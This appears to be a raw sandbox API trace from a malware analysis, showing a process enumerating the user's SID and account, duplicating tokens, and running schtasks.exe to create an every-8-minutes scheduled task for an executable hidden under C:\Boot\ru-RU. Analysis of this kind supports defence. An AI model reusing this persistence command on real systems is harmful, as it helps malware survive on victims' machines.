0x1 [0131.167] memcpy (in: _Dst=0xd8a48, _Src=0x12d808, _Size=0x54 | out: _Dst=0xd8a48) returned 0xd8a48 [0131.167] memcpy (in: _Dst=0xd8a9a, _Src=0x139568, _Size=0x4 | out: _Dst=0xd8a9a) returned 0xd8a9a [0131.167] free (_Block=0x2aefc0) [0131.167] free (_Block=0x2af0c0) [0131.167] malloc (_Size=0x18) returned 0x2af0c0 [0131.167] malloc (_Size=0x18) returned 0x2aefc0 [0131.167] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0131.167] SysStringLen (param_1="1000") returned 0x4 [0131.167] memcpy (in: _Dst=0x12d808, _Src=0xd8a48, _Size=0x56 | out: _Dst=0x12d808) returned 0x12d808 [0131.167] memcpy (in: _Dst=0x12d85c, _Src=0x139568, _Size=0xa | out: _Dst=0x12d85c) returned 0x12d85c [0131.167] free (_Block=0x2aef80) [0131.167] free (_Block=0x2af0c0) [0131.167] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0131.167] malloc (_Size=0x5e) returned 0x2b08a0 [0131.167] free (_Block=0x2aefc0) [0131.167] malloc (_Size=0x18) returned 0x2aefc0 [0131.168] free (_Block=0x2b08a0) [0131.168] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0131.169] GetLastError () returned 0x7a [0131.169] malloc (_Size=0x14) returned 0x2af0c0 [0131.169] malloc (_Size=0x16) returned 0x2aef80 [0131.169] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0c0, cchName=0xe7ca84, ReferencedDomainName=0x2aef80, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0131.170] malloc (_Size=0x18) returned 0x2af000 [0131.170] malloc (_Size=0x18) returned 0x2aefa0 [0131.170] free (_Block=0x2af0c0) [0131.170] free (_Block=0x2aef80) [0131.170] free (_Block=0x2b0000) [0131.170] free (_Block=0x2aefa0) [0131.170] free (_Block=0x2af000) [0131.170] free (_Block=0x2aefc0) [0131.171] free (_Block=0x2ae2a0) [0131.171] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0131.171] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0131.171] GetLastError () returned 0x7a [0131.171] malloc (_Size=0x2c) returned 0x2ae2e0 [0131.171] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0131.171] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0131.171] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0131.171] malloc (_Size=0x1c) returned 0x2b0000 [0131.171] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0131.171] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0131.171] malloc (_Size=0x18) returned 0x2aefc0 [0131.171] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0131.171] malloc (_Size=0x18) returned 0x2af000 [0131.171] malloc (_Size=0x18) returned 0x2aefa0 [0131.172] SysStringLen (param_1="S-1-") returned 0x4 [0131.172] SysStringLen (param_1="5") returned 0x1 [0131.172] memcpy (in: _Dst=0x1618e8, _Src=0x139628, _Size=0xa | out: _Dst=0x1618e8) returned 0x1618e8 [0131.172] memcpy (in: _Dst=0x1618f0, _Src=0x139568, _Size=0x4 | out: _Dst=0x1618f0) returned 0x1618f0 [0131.172] free (_Block=0x2aefc0) [0131.172] free (_Block=0x2af000) [0131.172] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0131.172] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0131.172] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0131.172] malloc (_Size=0x18) returned 0x2af000 [0131.172] malloc (_Size=0x18) returned 0x2aefc0 [0131.172] SysStringLen (param_1="S-1-5") returned 0x5 [0131.172] SysStringLen (param_1="-") returned 0x1 [0131.172] memcpy (in: _Dst=0x139568, _Src=0x1618e8, _Size=0xc | out: _Dst=0x139568) returned 0x139568 [0131.172] memcpy (in: _Dst=0x139572, _Src=0x139628, _Size=0x4 | out: _Dst=0x139572) returned 0x139572 [0131.172] free (_Block=0x2aefa0) [0131.172] free (_Block=0x2af000) [0131.172] malloc (_Size=0x18) returned 0x2af000 [0131.172] malloc (_Size=0x18) returned 0x2aefa0 [0131.172] SysStringLen (param_1="S-1-5-") returned 0x6 [0131.173] SysStringLen (param_1="21") returned 0x2 [0131.173] memcpy (in: _Dst=0x139628, _Src=0x139568, _Size=0xe | out: _Dst=0x139628) returned 0x139628 [0131.173] memcpy (in: _Dst=0x139634, _Src=0x1618e8, _Size=0x6 | out: _Dst=0x139634) returned 0x139634 [0131.173] free (_Block=0x2aefc0) [0131.173] free (_Block=0x2af000) [0131.173] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0131.173] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0131.173] malloc (_Size=0x18) returned 0x2af000 [0131.173] malloc (_Size=0x18) returned 0x2aefc0 [0131.173] SysStringLen (param_1="S-1-5-21") returned 0x8 [0131.173] SysStringLen (param_1="-") returned 0x1 [0131.173] memcpy (in: _Dst=0x1618e8, _Src=0x139628, _Size=0x12 | out: _Dst=0x1618e8) returned 0x1618e8 [0131.173] memcpy (in: _Dst=0x1618f8, _Src=0x139568, _Size=0x4 | out: _Dst=0x1618f8) returned 0x1618f8 [0131.173] free (_Block=0x2aefa0) [0131.173] free (_Block=0x2af000) [0131.174] malloc (_Size=0x18) returned 0x2af000 [0131.174] malloc (_Size=0x18) returned 0x2aefa0 [0131.174] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0131.174] SysStringLen (param_1="4219442223") returned 0xa [0131.174] memcpy (in: _Dst=0x118268, _Src=0x1618e8, _Size=0x14 | out: _Dst=0x118268) returned 0x118268 [0131.174] memcpy (in: _Dst=0x11827a, _Src=0x139628, _Size=0x16 | out: _Dst=0x11827a) returned 0x11827a [0131.174] free (_Block=0x2aefc0) [0131.174] free (_Block=0x2af000) [0131.174] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0131.174] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0131.174] malloc (_Size=0x18) returned 0x2af000 [0131.174] malloc (_Size=0x18) returned 0x2aefc0 [0131.174] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0131.174] SysStringLen (param_1="-") returned 0x1 [0131.174] memcpy (in: _Dst=0x1176d8, _Src=0x118268, _Size=0x28 | out: _Dst=0x1176d8) returned 0x1176d8 [0131.174] memcpy (in: _Dst=0x1176fe, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x1176fe) returned 0x1176fe [0131.174] free (_Block=0x2aefa0) [0131.174] free (_Block=0x2af000) [0131.174] malloc (_Size=0x18) returned 0x2af000 [0131.174] malloc (_Size=0x18) returned 0x2aefa0 [0131.174] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0131.174] SysStringLen (param_1="4223814209") returned 0xa [0131.175] memcpy (in: _Dst=0xd8a48, _Src=0x1176d8, _Size=0x2a | out: _Dst=0xd8a48) returned 0xd8a48 [0131.175] memcpy (in: _Dst=0xd8a70, _Src=0x1618e8, _Size=0x16 | out: _Dst=0xd8a70) returned 0xd8a70 [0131.175] free (_Block=0x2aefc0) [0131.175] free (_Block=0x2af000) [0131.175] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0131.175] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0131.175] malloc (_Size=0x18) returned 0x2af000 [0131.175] malloc (_Size=0x18) returned 0x2aefc0 [0131.175] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0131.175] SysStringLen (param_1="-") returned 0x1 [0131.175] memcpy (in: _Dst=0x12d808, _Src=0xd8a48, _Size=0x3e | out: _Dst=0x12d808) returned 0x12d808 [0131.175] memcpy (in: _Dst=0x12d844, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x12d844) returned 0x12d844 [0131.175] free (_Block=0x2aefa0) [0131.175] free (_Block=0x2af000) [0131.175] malloc (_Size=0x18) returned 0x2af000 [0131.175] malloc (_Size=0x18) returned 0x2aefa0 [0131.175] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0131.175] SysStringLen (param_1="3835049652") returned 0xa [0131.175] memcpy (in: _Dst=0xd8a48, _Src=0x12d808, _Size=0x40 | out: _Dst=0xd8a48) returned 0xd8a48 [0131.175] memcpy (in: _Dst=0xd8a86, _Src=0x1618e8, _Size=0x16 | out: _Dst=0xd8a86) returned 0xd8a86 [0131.176] free (_Block=0x2aefc0) [0131.176] free (_Block=0x2af000) [0131.176] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0131.176] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0131.176] malloc (_Size=0x18) returned 0x2af000 [0131.176] malloc (_Size=0x18) returned 0x2aefc0 [0131.176] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0131.176] SysStringLen (param_1="-") returned 0x1 [0131.176] memcpy (in: _Dst=0x12d808, _Src=0xd8a48, _Size=0x54 | out: _Dst=0x12d808) returned 0x12d808 [0131.176] memcpy (in: _Dst=0x12d85a, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x12d85a) returned 0x12d85a [0131.176] free (_Block=0x2aefa0) [0131.176] free (_Block=0x2af000) [0131.176] malloc (_Size=0x18) returned 0x2af000 [0131.176] malloc (_Size=0x18) returned 0x2aefa0 [0131.176] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0131.176] SysStringLen (param_1="1000") returned 0x4 [0131.176] memcpy (in: _Dst=0xd8a48, _Src=0x12d808, _Size=0x56 | out: _Dst=0xd8a48) returned 0xd8a48 [0131.176] memcpy (in: _Dst=0xd8a9c, _Src=0x1618e8, _Size=0xa | out: _Dst=0xd8a9c) returned 0xd8a9c [0131.176] free (_Block=0x2aefc0) [0131.176] free (_Block=0x2af000) [0131.176] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0131.177] malloc (_Size=0x5e) returned 0x2b08a0 [0131.177] free (_Block=0x2aefa0) [0131.177] malloc (_Size=0x18) returned 0x2aefa0 [0131.177] free (_Block=0x2b08a0) [0131.177] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0131.178] GetLastError () returned 0x7a [0131.178] malloc (_Size=0x14) returned 0x2af000 [0131.178] malloc (_Size=0x16) returned 0x2aefc0 [0131.178] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af000, cchName=0xe7ca94, ReferencedDomainName=0x2aefc0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0131.179] malloc (_Size=0x18) returned 0x2aef80 [0131.179] malloc (_Size=0x18) returned 0x2af0c0 [0131.179] free (_Block=0x2af000) [0131.179] free (_Block=0x2aefc0) [0131.179] free (_Block=0x2b0000) [0131.179] free (_Block=0x2af0c0) [0131.179] free (_Block=0x2aef80) [0131.179] free (_Block=0x2aefa0) [0131.180] free (_Block=0x2ae2e0) [0131.180] malloc (_Size=0x48) returned 0x2ad3b0 [0131.180] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0131.186] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0131.186] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0131.187] malloc (_Size=0x18) returned 0x2aefa0 [0131.187] CreateEnvironmentBlock () returned 0x1 [0131.194] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0131.194] malloc (_Size=0x18) returned 0x2aef80 [0131.194] CreateProcessAsUserW (in: hToken=0x2dc, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"but inside saveb\" /sc MINUTE /mo 8 /tr \"'C:\\Boot\\ru-RU\\but inside save.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x16ec20, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"but inside saveb\" /sc MINUTE /mo 8 /tr \"'C:\\Boot\\ru-RU\\but inside save.exe'\" /f", lpProcessInformation=0xe7cba0*(hProcess=0x2f8, hThread=0x248, dwProcessId=0xeec, dwThreadId=0xef0)) returned 1 [0131.201] CloseHandle (hObject=0x2f8) returned 1 [0131.201] CloseHandle (hObject=0x248) returned 1 [0131.201] free (_Block=0x2aef80) [0131.201] DestroyEnvironmentBlock () returned 0x1 [0131.201] malloc (_Size=0x48) returned 0x2ad220 [0131.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1d3283c0, dwHighDateTime=0x1d8a92a)) [0131.201] SetEvent (hEvent=0x1f0) returned 1 [0131.202] CloseHandle (hObject=0x2d0) returned 1 [0131.202] CloseHandle (hObject=0x2dc) returned 1 [0131.228] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0131.228] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0131.228] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0131.723] SetLastError (dwErrCode=0x0) [0131.723] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0131.723] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0131.723] SetLastError (dwErrCode=0x0) [0131.723] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0131.723] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0131.723] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0131.723] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f3e0 [0131.723] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f3e0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0131.723] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f3e0 | out: hHeap=0xc0000) returned 1 [0131.725] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0131.725] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0131.725] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0131.725] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0131.726] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0131.726] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0131.726] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0131.728] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0131.728] GetCurrentThread () returned 0xfffffffffffffffe [0131.728] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2dc) returned 1 [0131.728] malloc (_Size=0xd8) returned 0x2b8790 [0131.728] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0131.728] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0131.729] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0131.729] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0131.729] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0131.729] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0131.729] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0131.729] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0131.730] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0131.730] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0131.730] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0131.730] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0131.730] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0131.730] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0131.730] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0131.731] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0131.731] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0131.731] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0131.731] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0131.731] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0131.731] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0131.731] malloc (_Size=0x18) returned 0x2aef80 [0131.732] DuplicateTokenEx (in: hExistingToken=0x2dc, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2d0) returned 1 [0131.732] malloc (_Size=0x48) returned 0x2ad270 [0131.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1d837280, dwHighDateTime=0x1d8a92a)) [0131.732] SetEvent (hEvent=0x1f0) returned 1 [0131.737] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0131.737] GetLastError () returned 0x7a [0131.737] malloc (_Size=0x2c) returned 0x2ae2a0 [0131.737] GetTokenInformation (in: TokenHandle=0x2dc, TokenInformationClass=0x1, TokenInformation=0x2ae2a0, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2ae2a0, ReturnLength=0xe7cb60) returned 1 [0131.737] IsValidSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0131.737] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0131.737] malloc (_Size=0x1c) returned 0x2affd0 [0131.737] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0131.737] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0131.737] malloc (_Size=0x18) returned 0x2aef80 [0131.738] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0131.738] malloc (_Size=0x18) returned 0x2aefa0 [0131.738] malloc (_Size=0x18) returned 0x2af0c0 [0131.738] SysStringLen (param_1="S-1-") returned 0x4 [0131.738] SysStringLen (param_1="5") returned 0x1 [0131.738] memcpy (in: _Dst=0x139658, _Src=0x139898, _Size=0xa | out: _Dst=0x139658) returned 0x139658 [0131.738] memcpy (in: _Dst=0x139660, _Src=0x1395c8, _Size=0x4 | out: _Dst=0x139660) returned 0x139660 [0131.738] free (_Block=0x2aef80) [0131.738] free (_Block=0x2aefa0) [0131.738] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0131.738] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0131.738] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0131.738] malloc (_Size=0x18) returned 0x2aefa0 [0131.738] malloc (_Size=0x18) returned 0x2aef80 [0131.738] 